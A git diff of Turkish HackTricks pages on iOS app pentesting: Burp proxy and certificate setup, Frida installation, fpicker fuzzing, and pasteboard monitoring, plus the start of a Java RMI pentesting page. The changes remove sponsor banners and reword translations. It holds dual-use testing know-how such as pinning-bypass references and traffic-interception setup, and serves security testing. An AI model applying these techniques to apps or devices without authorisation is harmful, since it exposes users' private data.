Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'sını güvenilir hale getirdikten sonra, **farklı bir hostname için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, o zaman bir şeyler savunmasızdır.
|
||||
|
||||
### Sertifika Pinning
|
||||
|
||||
@ -1059,7 +1038,7 @@ Ayrıca **objection's** `ios sslpinning disable` komutunu da kullanabilirsiniz.
|
||||
- **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri
|
||||
- **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde uygulamaya arka plana gönderilmeden önce yapılan anlık görüntüyü bulabilirsiniz.
|
||||
|
||||
### Sıcak Yamanlama/Zorunlu Güncelleme
|
||||
### Sıcak Yamanın/Zorunlu Güncellemenin
|
||||
|
||||
Geliştiriciler, uygulamalarının tüm kurulumlarını anında **yamanlayabilir** ve uygulamayı App Store'a yeniden göndermeye gerek kalmadan onay bekleyebilirler.\
|
||||
Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** kullanılır.** Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\
|
||||
@ -1105,11 +1084,5 @@ otool -L <application_path>
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,22 +1,14 @@
|
||||
# iOS Burp Suite Configuration
|
||||
# iOS Burp Suite Yapılandırması
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
|
||||
|
||||
## iOS Cihazlarda Burp Sertifikasının Yüklenmesi
|
||||
|
||||
Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarda Burp Suite, **Burp Mobile Assistant** aracılığıyla veya manuel yapılandırma ile kullanılabilir. Aşağıda her iki yöntem için özet bir kılavuz bulunmaktadır:
|
||||
|
||||
### Burp Mobile Assistant ile Otomatik Yükleme
|
||||
|
||||
**Burp Mobile Assistant**, Burp Sertifikasının, proxy yapılandırmasının ve SSL Pinning'in yükleme sürecini basitleştirir. Ayrıntılı rehber [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bulunabilir.
|
||||
**Burp Mobile Assistant**, Burp Sertifikasının yüklenmesi, proxy yapılandırması ve SSL Pinning işlemlerini basitleştirir. Ayrıntılı rehber [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bulunabilir.
|
||||
|
||||
### Manuel Yükleme Adımları
|
||||
|
||||
@ -24,15 +16,15 @@ Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarda Burp Suite, **
|
||||
2. **Sertifika İndirme:** Cihazınızın tarayıcısında `http://burp` adresine giderek sertifikayı indirin.
|
||||
3. **Sertifika Yükleme:** İndirilen profili **Ayarlar** > **Genel** > **VPN & Cihaz Yönetimi** üzerinden yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin.
|
||||
|
||||
### Bir Kesme Proxy'sinin Yapılandırılması
|
||||
### Bir Kesme Proxy'si Yapılandırma
|
||||
|
||||
Bu kurulum, Burp aracılığıyla iOS cihazı ile internet arasındaki trafik analizini sağlar ve istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Eğer mevcut değilse, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak kullanılabilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında derinlemesine talimatlar sunmaktadır.
|
||||
Bu yapılandırma, Burp aracılığıyla iOS cihazı ile internet arasındaki trafik analizini sağlar ve istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Eğer mevcut değilse, usbmuxd üzerinden bir USB bağlantısı alternatif olarak kullanılabilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında derinlemesine talimatlar sunmaktadır.
|
||||
|
||||
### Jailbroken Cihazlar için Gelişmiş Yapılandırma
|
||||
|
||||
Jailbroken cihazlara sahip kullanıcılar için, USB üzerinden SSH ( **iproxy** aracılığıyla) trafiği doğrudan Burp üzerinden yönlendirme yöntemi sunar:
|
||||
Jailbroken cihazlara sahip kullanıcılar için, USB üzerinden SSH ( **iproxy** aracılığıyla) trafiği doğrudan Burp üzerinden yönlendirmek için bir yöntem sunar:
|
||||
|
||||
1. **SSH Bağlantısını Kurun:** iproxy kullanarak SSH'yi localhost'a yönlendirin, bu sayede iOS cihazı ile Burp'ı çalıştıran bilgisayar arasında bağlantı sağlanır.
|
||||
1. **SSH Bağlantısını Kurun:** iproxy kullanarak SSH'yi localhost'a yönlendirin, bu sayede iOS cihazından Burp'ı çalıştıran bilgisayara bağlantı sağlanır.
|
||||
|
||||
```bash
|
||||
iproxy 2222 22
|
||||
@ -46,9 +38,9 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
|
||||
3. **Küresel Proxy Ayarı:** Son olarak, iOS cihazının Wi-Fi ayarlarını manuel proxy kullanacak şekilde yapılandırarak tüm web trafiğini Burp üzerinden yönlendirin.
|
||||
|
||||
### Tam Ağ İzleme/Dinleme
|
||||
### Tam Ağ İzleme/İzleme
|
||||
|
||||
HTTP dışındaki cihaz trafiğinin izlenmesi, tüm veri trafiğini yakalayabilen **Wireshark** kullanılarak verimli bir şekilde gerçekleştirilebilir. iOS cihazları için gerçek zamanlı trafik izleme, bir Uzak Sanal Arayüz oluşturularak sağlanır; bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylandırılmıştır. Başlamadan önce, macOS sistemine **Wireshark** yüklenmesi gerekmektedir.
|
||||
HTTP dışındaki cihaz trafiğinin izlenmesi, tüm veri trafiğini yakalayabilen **Wireshark** aracı kullanılarak verimli bir şekilde gerçekleştirilebilir. iOS cihazları için gerçek zamanlı trafik izleme, bir Uzak Sanal Arayüz oluşturularak sağlanır; bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylandırılmıştır. Başlamadan önce, macOS sistemine **Wireshark** yüklenmesi gerekmektedir.
|
||||
|
||||
Prosedür birkaç ana adımı içerir:
|
||||
|
||||
@ -69,9 +61,9 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
|
||||
|
||||
.png>)
|
||||
|
||||
- Sertifikayı Emülatörün içine **Sürükleyip Bırakın**
|
||||
- **Emülatörde** _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_ yoluna gidin ve **sertifikayı doğrulayın**
|
||||
- **Emülatörde** _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_ yoluna gidin ve **PortSwigger CA'yı etkinleştirin**
|
||||
- Sertifikayı **Emülatöre Sürükleyip Bırakın**
|
||||
- **Emülatörde** _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_ yolunu izleyin ve **sertifikayı doğrulayın**
|
||||
- **Emülatörde** _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_ yolunu izleyin ve **PortSwigger CA'yı etkinleştirin**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -86,17 +78,11 @@ Burp'ı proxy olarak yapılandırma adımları:
|
||||
|
||||
- _System Preferences_ --> _Network_ --> _Advanced_ yoluna gidin
|
||||
- _Proxies_ sekmesinde _Web Proxy (HTTP)_ ve _Secure Web Proxy (HTTPS)_ seçeneklerini işaretleyin
|
||||
- Her iki seçenek için _127.0.0.1:8080_ olarak yapılandırın
|
||||
- Her iki seçenek için _127.0.0.1:8080_ yapılandırmasını yapın
|
||||
|
||||
.png>)
|
||||
|
||||
- _**Ok**_ butonuna tıklayın ve ardından _**Apply**_ butonuna tıklayın
|
||||
- _**Ok**_ butonuna tıklayın ve ardından _**Apply**_ seçeneğine tıklayın
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) kullanın.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,15 +2,10 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Mobil Güvenlikteki uzmanlığınızı **8kSec Akademi** ile derinleştirin. Kendi hızınızda ilerleyerek iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
## Frida Kurulumu
|
||||
|
||||
**Jailbroken bir cihazda Frida kurmak için adımlar:**
|
||||
**Jailbroken bir cihazda Frida'yı kurmak için adımlar:**
|
||||
|
||||
1. Cydia/Sileo uygulamasını açın.
|
||||
2. Yönet -> Kaynaklar -> Düzenle -> Ekle'ye gidin.
|
||||
@ -18,23 +13,23 @@ Mobil Güvenlikteki uzmanlığınızı **8kSec Akademi** ile derinleştirin. Ken
|
||||
4. Yeni eklenen Frida kaynağına gidin.
|
||||
5. Frida paketini kurun.
|
||||
|
||||
Eğer **Corellium** kullanıyorsanız, Frida sürümünü [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) adresinden indirmelisiniz (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) ve çıkartıp Frida'nın istediği dylib konumuna kopyalamalısınız, örneğin: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
Eğer **Corellium** kullanıyorsanız, Frida sürümünü [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) adresinden indirmelisiniz (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) ve unpack edip Frida'nın istediği dylib konumuna kopyalamalısınız, örneğin: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Kurulduktan sonra, PC'nizde **`frida-ls-devices`** komutunu kullanarak cihazın görünüp görünmediğini kontrol edebilirsiniz (PC'nizin cihaza erişebilmesi gerekir).\
|
||||
Ayrıca telefonun çalışan süreçlerini kontrol etmek için **`frida-ps -Uia`** komutunu da çalıştırın.
|
||||
|
||||
## Jailbroken cihaz olmadan ve uygulamayı yamanmadan Frida
|
||||
## Jailbroken cihaz olmadan ve uygulamayı patchlemeden Frida
|
||||
|
||||
Uygulamayı yamanmadan jailbreak yapılmamış cihazlarda Frida kullanma hakkında bu blog yazısını kontrol edin: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
Uygulamayı patchlemeden jailbroken olmayan cihazlarda Frida'yı nasıl kullanacağınız hakkında bu blog yazısını kontrol edin: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Frida İstemci Kurulumu
|
||||
## Frida İstemcisi Kurulumu
|
||||
|
||||
**frida araçlarını** kurun:
|
||||
**frida tools**'u kurun:
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
Frida sunucusu kurulu ve cihaz çalışıyor ve bağlı olduğunda, **kontrol et** eğer istemci **çalışıyor**:
|
||||
Frida sunucusu kurulu ve cihaz çalışıyor ve bağlı olduğunda, **kontrol et** eğer istemci **çalışıyorsa**:
|
||||
```bash
|
||||
frida-ls-devices # List devices
|
||||
frida-ps -Uia # Get running processes
|
||||
@ -59,7 +54,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
|
||||
```
|
||||
### Tüm sınıfları ve yöntemleri al
|
||||
|
||||
- Otomatik tamamlama: Sadece `frida -U <program>` komutunu çalıştırın
|
||||
- Otomatik tamamlama: Sadece `frida -U <program>` komutunu çalıştırın.
|
||||
|
||||
<figure><img src="../../images/image (1159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -187,7 +182,7 @@ Stalker.flush() // this is important to get all events
|
||||
|
||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker), in-process fuzzing için AFL++ modu veya pasif izleme modu gibi çeşitli fuzzing modları sunan **Frida tabanlı bir fuzzing paketi**dir. Frida tarafından desteklenen tüm platformlarda çalışmalıdır.
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker), in-process fuzzing için AFL++ modu veya pasif izleme modu gibi çeşitli fuzzing modları sunan bir **Frida tabanlı fuzzing paketi**dir. Frida tarafından desteklenen tüm platformlarda çalışmalıdır.
|
||||
|
||||
- [**fpicker'ı yükle**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
```bash
|
||||
@ -282,13 +277,13 @@ this.target_function(this.wg_log_global_ptr, this.tag, this.payload)
|
||||
const f = new WGLogFuzzer()
|
||||
rpc.exports.fuzzer = f
|
||||
```
|
||||
- **Fuzzer'ı** derleyin:
|
||||
- **Fuzzer'ı derleyin**:
|
||||
```bash
|
||||
# From inside fpicker clone
|
||||
## Compile from "myfuzzer.js" to "harness.js"
|
||||
frida-compile examples/wg-log/myfuzzer.js -o harness.js
|
||||
```
|
||||
- **`radamsa`** kullanarak fuzzer **`fpicker`** çağırın:
|
||||
- Fuzzer **`fpicker`**'ı **`radamsa`** kullanarak çağırın:
|
||||
```bash
|
||||
# Indicate fpicker to fuzz a program with the harness.js script and which folders to use
|
||||
fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o examples/wg-log/out/ -i examples/wg-log/in/ -f harness.js --standalone-mutator cmd --mutator-command "radamsa"
|
||||
@ -297,15 +292,15 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
||||
> [!CAUTION]
|
||||
> Bu durumda her yüklemeden sonra **uygulamayı yeniden başlatmıyoruz veya durumu geri yüklemiyoruz**. Bu nedenle, Frida bir **çökme** bulursa, o yüklemeden sonraki **girdiler** de **uygulamayı çökertme** riski taşır (çünkü uygulama kararsız bir durumda) ve **girdi uygulamayı çökertmemelidir**.
|
||||
>
|
||||
> Dahası, Frida iOS'un istisna sinyallerine bağlanacak, bu nedenle **Frida bir çökme bulduğunda**, muhtemelen **iOS çökme raporları oluşturulmayacaktır**.
|
||||
> Ayrıca, Frida iOS'un istisna sinyallerine bağlanacak, bu nedenle **Frida bir çökme bulduğunda**, muhtemelen **iOS çökme raporları oluşturulmayacaktır**.
|
||||
>
|
||||
> Bunu önlemek için, örneğin, her Frida çökmesinden sonra uygulamayı yeniden başlatabiliriz.
|
||||
|
||||
### Loglar & Çökme
|
||||
### Günlükler & Çökme
|
||||
|
||||
**macOS konsolunu** veya **`log`** cli'yi kullanarak macOS loglarını kontrol edebilirsiniz.\
|
||||
Ayrıca **`idevicesyslog`** kullanarak iOS loglarını da kontrol edebilirsiniz.\
|
||||
Bazı loglar, bilgi ekleyerek **`<private>`** ifadesini atlayabilir. Tüm bilgileri göstermek için, o özel bilgiyi etkinleştirmek üzere [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) adresinden bazı profilleri yüklemeniz gerekir.
|
||||
**macOS konsolunu** veya **`log`** cli'yi kullanarak macOS günlüklerini kontrol edebilirsiniz.\
|
||||
Ayrıca **`idevicesyslog`** kullanarak iOS günlüklerini de kontrol edebilirsiniz.\
|
||||
Bazı günlükler, bilgileri **`<private>`** ekleyerek gizleyebilir. Tüm bilgileri göstermek için, o özel bilgiyi etkinleştirmek üzere [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) adresinden bazı profilleri yüklemeniz gerekir.
|
||||
|
||||
Ne yapacağınızı bilmiyorsanız:
|
||||
```sh
|
||||
@ -343,10 +338,5 @@ killall -9 logd
|
||||
|
||||
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mobil Güvenlik** konusundaki uzmanlığınızı 8kSec Akademisi ile derinleştirin. Kendi hızınıza uygun kurslarımızla iOS ve Android güvenliğini öğrenin ve sertifika alın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,12 +1,8 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
iOS cihazlarda uygulamalar arasında veri paylaşımı, iki ana kategoriye ayrılan [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizması ile sağlanır:
|
||||
|
||||
- **Sistem genel panosu**: Bu, **herhangi bir uygulama** ile veri paylaşımı için kullanılır ve cihaz yeniden başlatıldığında ve uygulama kaldırıldığında verilerin kalıcı olmasını sağlamak için tasarlanmıştır; bu özellik iOS 10'dan beri mevcuttur.
|
||||
- **Sistem genel panosu**: Bu, **herhangi bir uygulama** ile veri paylaşmak için kullanılır ve cihaz yeniden başlatıldığında ve uygulama kaldırıldığında verilerin kalıcı olmasını sağlamak için tasarlanmıştır; bu özellik iOS 10'dan beri mevcuttur.
|
||||
- **Özel / İsimlendirilmiş panolar**: Bunlar, **bir uygulama içinde veya aynı takım kimliğini paylaşan başka bir uygulama ile** veri paylaşımı için özel olarak tasarlanmıştır ve oluşturuldukları uygulama süresinin ötesinde kalıcı olmaları amaçlanmamıştır; bu, iOS 10 ile getirilen değişiklikleri takip eder.
|
||||
|
||||
**Güvenlik hususları**, panoları kullanırken önemli bir rol oynamaktadır. Örneğin:
|
||||
@ -14,7 +10,7 @@ iOS cihazlarda uygulamalar arasında veri paylaşımı, iki ana kategoriye ayrı
|
||||
- Kullanıcıların **panoya** erişim için uygulama izinlerini yönetebileceği bir mekanizma yoktur.
|
||||
- Yetkisiz arka plan izleme riskini azaltmak için erişim, uygulama ön planda olduğunda kısıtlanmıştır (iOS 9'dan beri).
|
||||
- Gizlilik endişeleri nedeniyle kalıcı isimlendirilmiş panoların kullanımı, paylaşılan konteynerler lehine teşvik edilmemektedir.
|
||||
- iOS 10 ile tanıtılan **Evrensel Panoya** özelliği, içeriğin genel pano aracılığıyla cihazlar arasında paylaşılmasına olanak tanır ve geliştiriciler, veri süresini ayarlamak ve otomatik içerik aktarımını devre dışı bırakmak için yönetebilir.
|
||||
- iOS 10 ile tanıtılan **Evrensel Panoya** özelliği, içeriğin genel pano aracılığıyla cihazlar arasında paylaşılmasına olanak tanır ve geliştiricilerin veri süresini ayarlamasına ve otomatik içerik aktarımını devre dışı bırakmasına olanak tanır.
|
||||
|
||||
**Hassas bilgilerin yanlışlıkla** genel panoda saklanmadığından emin olmak çok önemlidir. Ayrıca, uygulamalar, genel pano verilerinin istenmeyen eylemler için kötüye kullanılmasını önleyecek şekilde tasarlanmalı ve geliştiricilerin hassas bilgilerin panoya kopyalanmasını önlemek için önlemler alması teşvik edilmelidir.
|
||||
|
||||
@ -22,24 +18,24 @@ iOS cihazlarda uygulamalar arasında veri paylaşımı, iki ana kategoriye ayrı
|
||||
|
||||
Statik analiz için, kaynak kodda veya ikili dosyada şunları arayın:
|
||||
|
||||
- `generalPasteboard` ile **sistem genel panosunun** kullanımını belirleyin.
|
||||
- `pasteboardWithName:create:` ve `pasteboardWithUniqueName` ile **özel panolar** oluşturun. Kalıcılığın etkin olup olmadığını doğrulayın, ancak bu artık önerilmemektedir.
|
||||
- **`generalPasteboard`**: **sistem genel panosu** kullanımını belirlemek için.
|
||||
- **`pasteboardWithName:create:`** ve **`pasteboardWithUniqueName`**: **özel panolar** oluşturmak için. Kalıcılığın etkin olup olmadığını doğrulayın, ancak bu artık önerilmemektedir.
|
||||
|
||||
### Dinamik Analiz
|
||||
|
||||
Dinamik analiz, belirli yöntemleri izlemek veya takip etmekle ilgilidir:
|
||||
|
||||
- Sistem genel kullanım için `generalPasteboard`'ı izleyin.
|
||||
- Özel uygulamalar için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`'ı takip edin.
|
||||
- Kalıcılık ayarlarını kontrol etmek için önerilmeyen `setPersistent:` yöntem çağrılarını gözlemleyin.
|
||||
- Sistem genel kullanım için **`generalPasteboard`**'ı izleyin.
|
||||
- Özel uygulamalar için **`pasteboardWithName:create:`** ve **`pasteboardWithUniqueName`**'ı takip edin.
|
||||
- Kalıcılık ayarlarını kontrol etmek için önerilmeyen **`setPersistent:`** yöntem çağrılarını gözlemleyin.
|
||||
|
||||
İzlenmesi gereken ana detaylar şunlardır:
|
||||
|
||||
- **Pano isimleri** ve **içerikler** (örneğin, dizeler, URL'ler, resimler kontrol edilerek).
|
||||
- Mevcut **öğe sayısı** ve **veri türleri**, standart ve özel veri türü kontrolleri kullanılarak.
|
||||
- `setItems:options:` yöntemini inceleyerek **son kullanma ve yerel seçenekler**.
|
||||
- **Süresi dolmuş ve yerel seçenekler** için **`setItems:options:`** yöntemini inceleyerek.
|
||||
|
||||
İzleme aracı kullanımı için bir örnek, **objection'ın pano izleyicisidir**, bu her 5 saniyede bir generalPasteboard'ı değişiklikler için sorgular ve yeni verileri çıktılar.
|
||||
İzleme aracı kullanımına bir örnek, **objection'ın pano izleyicisidir**, bu araç her 5 saniyede bir genel panoyu kontrol eder ve yeni verileri çıktılar.
|
||||
|
||||
İşte objection'ın yaklaşımından esinlenerek, panodan her 5 saniyede bir değişiklikleri okumak ve kaydetmek için basit bir JavaScript örneği:
|
||||
```javascript
|
||||
@ -78,8 +74,5 @@ console.log(items)
|
||||
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,17 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) kullanın.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir _Java sanal makinesi_ içinde bulunan bir nesnenin, başka bir _Java sanal makinesi_ içinde bulunan bir nesne üzerindeki yöntemleri çağırmasına olanak tanıyan nesne yönelimli bir _RPC_ mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir perspektiften _Java RMI_ hakkında kısa bir tanıtım [bu blackhat konuşmasında](https://youtu.be/t_aw1mDNhzI?t=202) bulunabilir.
|
||||
_Java Uzak Yöntem Çağrısı_ veya _Java RMI_, bir _Java sanal makinesi_ içinde bulunan bir nesnenin, başka bir _Java sanal makinesi_ içinde bulunan bir nesne üzerindeki yöntemleri çağırmasına olanak tanıyan nesne yönelimli bir _RPC_ mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir perspektiften _Java RMI_ hakkında kısa bir tanıtım [bu blackhat konuşmasında](https://youtu.be/t_aw1mDNhzI?t=202) bulunabilir.
|
||||
|
||||
**Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
@ -35,7 +27,7 @@ Basit bir ifadeyle, _Java RMI_, bir geliştiricinin bir _Java nesnesini_ ağda k
|
||||
|
||||
İlk zorluk, temelde _Java RMI_ için bir adlandırma hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi de bir _RMI hizmeti_dir, ancak uygulanan arayüz ve `ObjID` sabittir ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin yalnızca ilgili _TCP_ portunu bilerek _RMI_ kaydını tüketmelerine olanak tanır.
|
||||
|
||||
Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde, genellikle bunları bir _RMI registry_ ile bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri (IP adresi, dinleme portu, uygulanan sınıf veya arayüz ve `ObjID` değeri) depolar ve bunu insan tarafından okunabilir bir ad altında (bağlı ad) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, ilgili _bağlı adı_ almak için _RMI registry_ ile iletişime geçer ve registry, bağlanmak için gereken tüm bilgileri döner. Böylece, durum temelde sıradan bir _DNS_ hizmeti ile aynıdır. Aşağıdaki liste küçük bir örnek göstermektedir:
|
||||
Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde, genellikle bunları bir _RMI registry_ ile bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri (IP adresi, dinleme portu, uygulanan sınıf veya arayüz ve `ObjID` değeri) depolar ve bunu insan tarafından okunabilir bir ad altında (bağlı ad) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, ilgili _bağlı adı_ almak için _RMI registry_ ile iletişime geçer ve kayıt, bağlanmak için gereken tüm bilgileri döner. Böylece, durum temelde sıradan bir _DNS_ hizmeti ile aynıdır. Aşağıdaki liste küçük bir örnek göstermektedir:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
@ -146,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
```
|
||||
## Uzak Yöntemleri Bruteforce Etme
|
||||
|
||||
Enumeration sırasında hiçbir zafiyet tespit edilmediğinde bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonlar açığa çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlerine karşı deserialization filtreleriyle korunmasına rağmen, özel _RMI_ hizmetleriyle konuşurken bu filtreler genellikle mevcut değildir. Bu nedenle, _RMI_ hizmetlerindeki geçerli yöntem imzalarını bilmek değerlidir.
|
||||
